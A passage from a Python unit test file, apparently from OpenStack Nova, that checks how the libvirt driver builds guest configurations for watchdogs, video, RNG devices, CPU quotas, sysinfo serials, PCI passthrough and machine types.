self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigGuestWatchdog) self.assertIsInstance(cfg.devices[8], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual("none", cfg.devices[7].action) def test_get_guest_config_with_watchdog_action_through_flavor(self): self._test_get_guest_config_with_watchdog_action_flavor() # TODO(pkholkin): the test accepting old property name 'hw_watchdog_action' # should be removed in the next release def test_get_guest_config_with_watchdog_action_through_flavor_no_scope( self): self._test_get_guest_config_with_watchdog_action_flavor( hw_watchdog_action="hw_watchdog_action") def test_get_guest_config_with_watchdog_overrides_flavor(self): self.flags(virt_type='kvm', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) instance_ref.flavor.extra_specs = {'hw_watchdog_action': 'none'} image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) image_meta = {"properties": {"hw_watchdog_action": "pause"}} cfg = drvr._get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(9, len(cfg.devices)) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigGuestWatchdog) self.assertIsInstance(cfg.devices[8], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual("pause", cfg.devices[7].action) def test_get_guest_config_with_video_driver_image_meta(self): self.flags(virt_type='kvm', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) image_meta = {"properties": {"hw_video_model": "vmvga"}} cfg = drvr._get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(len(cfg.devices), 8) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual(cfg.devices[5].type, "vnc") self.assertEqual(cfg.devices[6].type, "vmvga") def test_get_guest_config_with_qga_through_image_meta(self): self.flags(virt_type='kvm', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) image_meta = {"properties": {"hw_qemu_guest_agent": "yes"}} cfg = drvr._get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(len(cfg.devices), 9) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigGuestChannel) self.assertIsInstance(cfg.devices[8], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual(cfg.devices[4].type, "tablet") self.assertEqual(cfg.devices[5].type, "vnc") self.assertEqual(cfg.devices[7].type, "unix") self.assertEqual(cfg.devices[7].target_name, "org.qemu.guest_agent.0") def test_get_guest_config_with_video_driver_vram(self): self.flags(enabled=False, group='vnc') self.flags(virt_type='kvm', group='libvirt') self.flags(enabled=True, agent_enabled=True, group='spice') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) instance_ref.flavor.extra_specs = {'hw_video:ram_max_mb': "100"} image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) image_meta = {"properties": {"hw_video_model": "qxl", "hw_video_ram": "64"}} cfg = drvr._get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(len(cfg.devices), 8) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestChannel) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual(cfg.devices[5].type, "spice") self.assertEqual(cfg.devices[6].type, "qxl") self.assertEqual(cfg.devices[6].vram, 64 * units.Mi / units.Ki) @mock.patch('nova.virt.disk.api.teardown_container') @mock.patch('nova.virt.libvirt.driver.LibvirtDriver.get_info') @mock.patch('nova.virt.disk.api.setup_container') @mock.patch('oslo_utils.fileutils.ensure_tree') @mock.patch.object(fake_libvirt_utils, 'get_instance_path') def test_unmount_fs_if_error_during_lxc_create_domain(self, mock_get_inst_path, mock_ensure_tree, mock_setup_container, mock_get_info, mock_teardown): """If we hit an error during a `_create_domain` call to `libvirt+lxc` we need to ensure the guest FS is unmounted from the host so that any future `lvremove` calls will work. """ self.flags(virt_type='lxc', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) mock_instance = mock.MagicMock() mock_get_inst_path.return_value = '/tmp/' mock_image_backend = mock.MagicMock() drvr.image_backend = mock_image_backend mock_image = mock.MagicMock() mock_image.path = '/tmp/test.img' drvr.image_backend.image.return_value = mock_image mock_setup_container.return_value = '/dev/nbd0' mock_get_info.side_effect = exception.InstanceNotFound( instance_id='foo') drvr._conn.defineXML = mock.Mock() drvr._conn.defineXML.side_effect = ValueError('somethingbad') with contextlib.nested( mock.patch.object(drvr, '_is_booted_from_volume', return_value=False), mock.patch.object(drvr, 'plug_vifs'), mock.patch.object(drvr, 'firewall_driver'), mock.patch.object(drvr, 'cleanup')): self.assertRaises(ValueError, drvr._create_domain_and_network, self.context, 'xml', mock_instance, None, None) mock_teardown.assert_called_with(container_dir='/tmp/rootfs') def test_video_driver_flavor_limit_not_set(self): self.flags(virt_type='kvm', group='libvirt') self.flags(enabled=True, agent_enabled=True, group='spice') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {"properties": {"hw_video_model": "qxl", "hw_video_ram": "64"}} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) with mock.patch.object(objects.Instance, 'save'): self.assertRaises(exception.RequestedVRamTooHigh, drvr._get_guest_config, instance_ref, [], image_meta, disk_info) def test_video_driver_ram_above_flavor_limit(self): self.flags(virt_type='kvm', group='libvirt') self.flags(enabled=True, agent_enabled=True, group='spice') instance_ref = objects.Instance(**self.test_instance) instance_type = instance_ref.get_flavor() instance_type.extra_specs = {'hw_video:ram_max_mb': "50"} image_meta = {"properties": {"hw_video_model": "qxl", "hw_video_ram": "64"}} drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) with mock.patch.object(objects.Instance, 'save'): self.assertRaises(exception.RequestedVRamTooHigh, drvr._get_guest_config, instance_ref, [], image_meta, disk_info) def test_get_guest_config_without_qga_through_image_meta(self): self.flags(virt_type='kvm', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {"properties": {"hw_qemu_guest_agent": "no"}} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) image_meta = {"properties": {"hw_qemu_guest_agent": "no"}} cfg = drvr._get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(len(cfg.devices), 8) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestInput) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual(cfg.devices[4].type, "tablet") self.assertEqual(cfg.devices[5].type, "vnc") def test_get_guest_config_with_rng_device(self): self.flags(virt_type='kvm', use_usb_tablet=False, group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) instance_ref.flavor.extra_specs = {'hw_rng:allowed': 'True'} image_meta = {"properties": {"hw_rng_model": "virtio"}} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(len(cfg.devices), 8) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestRng) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual(cfg.devices[6].model, 'random') self.assertIsNone(cfg.devices[6].backend) self.assertIsNone(cfg.devices[6].rate_bytes) self.assertIsNone(cfg.devices[6].rate_period) def test_get_guest_config_with_rng_not_allowed(self): self.flags(virt_type='kvm', use_usb_tablet=False, group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {"properties": {"hw_rng_model": "virtio"}} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(len(cfg.devices), 7) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigMemoryBalloon) def test_get_guest_config_with_rng_limits(self): self.flags(virt_type='kvm', use_usb_tablet=False, group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) instance_ref.flavor.extra_specs = {'hw_rng:allowed': 'True', 'hw_rng:rate_bytes': '1024', 'hw_rng:rate_period': '2'} image_meta = {"properties": {"hw_rng_model": "virtio"}} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(len(cfg.devices), 8) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestRng) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual(cfg.devices[6].model, 'random') self.assertIsNone(cfg.devices[6].backend) self.assertEqual(cfg.devices[6].rate_bytes, 1024) self.assertEqual(cfg.devices[6].rate_period, 2) @mock.patch('nova.virt.libvirt.driver.os.path.exists') def test_get_guest_config_with_rng_backend(self, mock_path): self.flags(virt_type='kvm', use_usb_tablet=False, rng_dev_path='/dev/hw_rng', group='libvirt') mock_path.return_value = True drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) instance_ref.flavor.extra_specs = {'hw_rng:allowed': 'True'} image_meta = {"properties": {"hw_rng_model": "virtio"}} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], image_meta, disk_info) self.assertEqual(len(cfg.devices), 8) self.assertIsInstance(cfg.devices[0], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[1], vconfig.LibvirtConfigGuestDisk) self.assertIsInstance(cfg.devices[2], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[3], vconfig.LibvirtConfigGuestSerial) self.assertIsInstance(cfg.devices[4], vconfig.LibvirtConfigGuestGraphics) self.assertIsInstance(cfg.devices[5], vconfig.LibvirtConfigGuestVideo) self.assertIsInstance(cfg.devices[6], vconfig.LibvirtConfigGuestRng) self.assertIsInstance(cfg.devices[7], vconfig.LibvirtConfigMemoryBalloon) self.assertEqual(cfg.devices[6].model, 'random') self.assertEqual(cfg.devices[6].backend, '/dev/hw_rng') self.assertIsNone(cfg.devices[6].rate_bytes) self.assertIsNone(cfg.devices[6].rate_period) @mock.patch('nova.virt.libvirt.driver.os.path.exists') def test_get_guest_config_with_rng_dev_not_present(self, mock_path): self.flags(virt_type='kvm', use_usb_tablet=False, rng_dev_path='/dev/hw_rng', group='libvirt') mock_path.return_value = False drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) instance_ref.flavor.extra_specs = {'hw_rng:allowed': 'True'} image_meta = {"properties": {"hw_rng_model": "virtio"}} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) self.assertRaises(exception.RngDeviceNotExist, drvr._get_guest_config, instance_ref, [], image_meta, disk_info) def test_guest_cpu_shares_with_multi_vcpu(self): self.flags(virt_type='kvm', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) instance_ref.flavor.vcpus = 4 image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) self.assertEqual(4096, cfg.cputune.shares) def test_get_guest_config_with_cpu_quota(self): self.flags(virt_type='kvm', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) instance_ref.flavor.extra_specs = {'quota:cpu_shares': '10000', 'quota:cpu_period': '20000'} image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, [], {}, disk_info) self.assertEqual(10000, cfg.cputune.shares) self.assertEqual(20000, cfg.cputune.period) def test_get_guest_config_with_bogus_cpu_quota(self): self.flags(virt_type='kvm', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) instance_ref.flavor.extra_specs = {'quota:cpu_shares': 'fishfood', 'quota:cpu_period': '20000'} image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) self.assertRaises(ValueError, drvr._get_guest_config, instance_ref, [], {}, disk_info) def _test_get_guest_config_sysinfo_serial(self, expected_serial): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) cfg = drvr._get_guest_config_sysinfo(instance_ref) self.assertIsInstance(cfg, vconfig.LibvirtConfigGuestSysinfo) self.assertEqual(version.vendor_string(), cfg.system_manufacturer) self.assertEqual(version.product_string(), cfg.system_product) self.assertEqual(version.version_string_with_package(), cfg.system_version) self.assertEqual(expected_serial, cfg.system_serial) self.assertEqual(instance_ref['uuid'], cfg.system_uuid) self.assertEqual("Virtual Machine", cfg.system_family) def test_get_guest_config_sysinfo_serial_none(self): self.flags(sysinfo_serial="none", group="libvirt") self._test_get_guest_config_sysinfo_serial(None) @mock.patch.object(libvirt_driver.LibvirtDriver, "_get_host_sysinfo_serial_hardware") def test_get_guest_config_sysinfo_serial_hardware(self, mock_uuid): self.flags(sysinfo_serial="hardware", group="libvirt") theuuid = "56b40135-a973-4eb3-87bb-a2382a3e6dbc" mock_uuid.return_value = theuuid self._test_get_guest_config_sysinfo_serial(theuuid) def test_get_guest_config_sysinfo_serial_os(self): self.flags(sysinfo_serial="os", group="libvirt") real_open = builtins.open with contextlib.nested( mock.patch.object(builtins, "open"), ) as (mock_open, ): theuuid = "56b40135-a973-4eb3-87bb-a2382a3e6dbc" def fake_open(filename, *args, **kwargs): if filename == "/etc/machine-id": h = mock.MagicMock() h.read.return_value = theuuid h.__enter__.return_value = h return h return real_open(filename, *args, **kwargs) mock_open.side_effect = fake_open self._test_get_guest_config_sysinfo_serial(theuuid) def test_get_guest_config_sysinfo_serial_auto_hardware(self): self.flags(sysinfo_serial="auto", group="libvirt") real_exists = os.path.exists with contextlib.nested( mock.patch.object(os.path, "exists"), mock.patch.object(libvirt_driver.LibvirtDriver, "_get_host_sysinfo_serial_hardware") ) as (mock_exists, mock_uuid): def fake_exists(filename): if filename == "/etc/machine-id": return False return real_exists(filename) mock_exists.side_effect = fake_exists theuuid = "56b40135-a973-4eb3-87bb-a2382a3e6dbc" mock_uuid.return_value = theuuid self._test_get_guest_config_sysinfo_serial(theuuid) def test_get_guest_config_sysinfo_serial_auto_os(self): self.flags(sysinfo_serial="auto", group="libvirt") real_exists = os.path.exists real_open = builtins.open with contextlib.nested( mock.patch.object(os.path, "exists"), mock.patch.object(builtins, "open"), ) as (mock_exists, mock_open): def fake_exists(filename): if filename == "/etc/machine-id": return True return real_exists(filename) mock_exists.side_effect = fake_exists theuuid = "56b40135-a973-4eb3-87bb-a2382a3e6dbc" def fake_open(filename, *args, **kwargs): if filename == "/etc/machine-id": h = mock.MagicMock() h.read.return_value = theuuid h.__enter__.return_value = h return h return real_open(filename, *args, **kwargs) mock_open.side_effect = fake_open self._test_get_guest_config_sysinfo_serial(theuuid) def test_get_guest_config_sysinfo_serial_invalid(self): self.flags(sysinfo_serial="invalid", group="libvirt") self.assertRaises(exception.NovaException, libvirt_driver.LibvirtDriver, fake.FakeVirtAPI(), True) def _create_fake_service_compute(self): service_info = { 'id': 1729, 'host': 'fake', 'report_count': 0 } service_ref = objects.Service(**service_info) compute_info = { 'id': 1729, 'vcpus': 2, 'memory_mb': 1024, 'local_gb': 2048, 'vcpus_used': 0, 'memory_mb_used': 0, 'local_gb_used': 0, 'free_ram_mb': 1024, 'free_disk_gb': 2048, 'hypervisor_type': 'xen', 'hypervisor_version': 1, 'running_vms': 0, 'cpu_info': '', 'current_workload': 0, 'service_id': service_ref['id'], 'host': service_ref['host'] } compute_ref = objects.ComputeNode(**compute_info) return (service_ref, compute_ref) def test_get_guest_config_with_pci_passthrough_kvm(self): self.flags(virt_type='kvm', group='libvirt') service_ref, compute_ref = self._create_fake_service_compute() instance = objects.Instance(**self.test_instance) image_meta = {} pci_device_info = dict(test_pci_device.fake_db_dev) pci_device_info.update(compute_node_id=1, label='fake', status='allocated', address='0000:00:00.1', compute_id=compute_ref['id'], instance_uuid=instance.uuid, request_id=None, extra_info={}) pci_device = objects.PciDevice(**pci_device_info) pci_list = objects.PciDeviceList() pci_list.objects.append(pci_device) instance.pci_devices = pci_list drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance, image_meta) cfg = drvr._get_guest_config(instance, [], {}, disk_info) had_pci = 0 # care only about the PCI devices for dev in cfg.devices: if type(dev) == vconfig.LibvirtConfigGuestHostdevPCI: had_pci += 1 self.assertEqual(dev.type, 'pci') self.assertEqual(dev.managed, 'yes') self.assertEqual(dev.mode, 'subsystem') self.assertEqual(dev.domain, "0000") self.assertEqual(dev.bus, "00") self.assertEqual(dev.slot, "00") self.assertEqual(dev.function, "1") self.assertEqual(had_pci, 1) def test_get_guest_config_with_pci_passthrough_xen(self): self.flags(virt_type='xen', group='libvirt') service_ref, compute_ref = self._create_fake_service_compute() instance = objects.Instance(**self.test_instance) image_meta = {} pci_device_info = dict(test_pci_device.fake_db_dev) pci_device_info.update(compute_node_id=1, label='fake', status='allocated', address='0000:00:00.2', compute_id=compute_ref['id'], instance_uuid=instance.uuid, request_id=None, extra_info={}) pci_device = objects.PciDevice(**pci_device_info) pci_list = objects.PciDeviceList() pci_list.objects.append(pci_device) instance.pci_devices = pci_list drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance, image_meta) cfg = drvr._get_guest_config(instance, [], {}, disk_info) had_pci = 0 # care only about the PCI devices for dev in cfg.devices: if type(dev) == vconfig.LibvirtConfigGuestHostdevPCI: had_pci += 1 self.assertEqual(dev.type, 'pci') self.assertEqual(dev.managed, 'no') self.assertEqual(dev.mode, 'subsystem') self.assertEqual(dev.domain, "0000") self.assertEqual(dev.bus, "00") self.assertEqual(dev.slot, "00") self.assertEqual(dev.function, "2") self.assertEqual(had_pci, 1) def test_get_guest_config_os_command_line_through_image_meta(self): self.flags(virt_type="kvm", cpu_mode=None, group='libvirt') self.test_instance['kernel_id'] = "fake_kernel_id" drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {"properties": {"os_command_line": "fake_os_command_line"}} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), image_meta, disk_info) self.assertEqual(cfg.os_cmdline, "fake_os_command_line") def test_get_guest_config_os_command_line_without_kernel_id(self): self.flags(virt_type="kvm", cpu_mode=None, group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {"properties": {"os_command_line": "fake_os_command_line"}} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), image_meta, disk_info) self.assertIsNone(cfg.os_cmdline) def test_get_guest_config_os_command_empty(self): self.flags(virt_type="kvm", cpu_mode=None, group='libvirt') self.test_instance['kernel_id'] = "fake_kernel_id" drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {"properties": {"os_command_line": ""}} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) # the instance has 'root=/dev/vda console=tty0 console=ttyS0' set by # default, so testing an empty string and None value in the # os_command_line image property must pass cfg = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), image_meta, disk_info) self.assertNotEqual(cfg.os_cmdline, "") def test_get_guest_config_armv7(self): def get_host_capabilities_stub(self): cpu = vconfig.LibvirtConfigGuestCPU() cpu.arch = arch.ARMV7 caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = cpu return caps self.flags(virt_type="kvm", group="libvirt") instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) self.stubs.Set(host.Host, "get_capabilities", get_host_capabilities_stub) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) cfg = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), {}, disk_info) self.assertEqual(cfg.os_mach_type, "vexpress-a15") def test_get_guest_config_aarch64(self): def get_host_capabilities_stub(self): cpu = vconfig.LibvirtConfigGuestCPU() cpu.arch = arch.AARCH64 caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = cpu return caps self.flags(virt_type="kvm", group="libvirt") instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) self.stubs.Set(host.Host, "get_capabilities", get_host_capabilities_stub) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) cfg = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), {}, disk_info) self.assertEqual(cfg.os_mach_type, "virt") def test_get_guest_config_machine_type_s390(self): drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) caps = vconfig.LibvirtConfigCaps() caps.host = vconfig.LibvirtConfigCapsHost() caps.host.cpu = vconfig.LibvirtConfigGuestCPU() host_cpu_archs = (arch.S390, arch.S390X) for host_cpu_arch in host_cpu_archs: caps.host.cpu.arch = host_cpu_arch os_mach_type = drvr._get_machine_type(None, caps) self.assertEqual('s390-ccw-virtio', os_mach_type) def test_get_guest_config_machine_type_through_image_meta(self): self.flags(virt_type="kvm", group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) image_meta = {"properties": {"hw_machine_type": "fake_machine_type"}} cfg = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), image_meta, disk_info) self.assertEqual(cfg.os_mach_type, "fake_machine_type") def test_get_guest_config_machine_type_from_config(self): self.flags(virt_type='kvm', group='libvirt') self.flags(hw_machine_type=['x86_64=fake_machine_type'], group='libvirt') def fake_getCapabilities(): return """ <capabilities> <host> <uuid>cef19ce0-0ca2-11df-855d-b19fbce37686</uuid> <cpu> <arch>x86_64</arch> <model>Penryn</model> <vendor>Intel</vendor> <topology sockets='1' cores='2' threads='1'/> <feature name='xtpr'/> </cpu> </host> </capabilities> """ def fake_baselineCPU(cpu, flag): return """<cpu mode='custom' match='exact'> <model fallback='allow'>Penryn</model> <vendor>Intel</vendor> <feature policy='require' name='xtpr'/> </cpu> """ # Make sure the host arch is mocked as x86_64 self.create_fake_libvirt_mock(getCapabilities=fake_getCapabilities, baselineCPU=fake_baselineCPU, getVersion=lambda: 1005001) drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) cfg = drvr._get_guest_config(instance_ref, _fake_network_info(self.stubs, 1), {}, disk_info) self.assertEqual(cfg.os_mach_type, "fake_machine_type") def _test_get_guest_config_ppc64(self, device_index): """Test for nova.virt.libvirt.driver.LibvirtDriver._get_guest_config. """ self.flags(virt_type='kvm', group='libvirt') drvr = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) image_meta = {} disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) image_meta = {} expected = (arch.PPC64, arch.PPC) for guestarch in expected: with mock.patch.object(libvirt_driver.libvirt_utils, 'get_arch', return_value=guestarch): cfg = drvr._get_guest_config(instance_ref, [], image_meta, disk_info) self.assertIsInstance(cfg.devices[device_index], vconfig.LibvirtConfigGuestVideo) self.assertEqual(cfg.devices[device_index].type, 'vga') def test_get_guest_config_ppc64_through_image_meta_vnc_enabled(self): self.flags(enabled=True, group='vnc') self._test_get_guest_config_ppc64(6) def test_get_guest_config_ppc64_through_image_meta_spice_enabled(self): self.flags(enabled=True, agent_enabled=True, group='spice') self._test_get_guest_config_ppc64(8) def _test_get_guest_config_bootmenu(self, image_meta, extra_specs): self.flags(virt_type='kvm', group='libvirt') conn = libvirt_driver.LibvirtDriver(fake.FakeVirtAPI(), True) instance_ref = objects.Instance(**self.test_instance) instance_ref.flavor.extra_specs = extra_specs disk_info = blockinfo.get_disk_info(CONF.libvirt.virt_type, instance_ref, image_meta) conf = conn._get_guest_config(instance_ref, [], image_meta, disk_info) self.assertTrue(conf.os_bootmenu) def 